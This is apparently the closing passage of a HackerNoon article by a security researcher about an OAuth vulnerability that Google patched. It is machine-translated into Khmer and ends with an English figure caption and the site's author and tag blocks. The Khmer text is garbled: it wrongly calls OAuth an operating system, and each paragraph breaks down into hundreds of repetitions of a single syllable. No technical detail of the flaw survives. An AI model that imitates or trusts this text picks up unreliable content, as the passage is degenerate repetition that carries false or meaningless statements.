ទោះបីជាប្រព័ន្ធប្រតិបត្តិការ OAuth គឺជាប្រព័ន្ធប្រតិបត្តិការដែលមានល្បឿនលឿននិងមានការស្រាវជ្រាវល្អឥតខ្ចោះប្រព័ន្ធប្រតិបត្តិការ OAuth គឺជាប្រព័ន្ធប្រតិបត្តិការល្អឥតខ្ចោះដែលមានទំហំទូលំទូលាយនិងមានទំហំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូល


ក្រុមហ៊ុន Google បានកែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រ


Figure 13: Google Security Team confirming the vulnerability was patched


សូមអរគុណចំពោះការអាន!

L O A D I N G
. . . comments & more!

About Author

Mohamed Benchikh HackerNoon profile picture
Mohamed Benchikh@weirdmachine
Security Researcher

ព្យួរស្លាក

អត្ថបទនេះត្រូវបានបង្ហាញនៅក្នុង...

Trending Topics

blockchaincryptocurrencyhackernoon-top-storyprogrammingsoftware-developmenttechnologystartuphackernoon-booksBitcoinbooks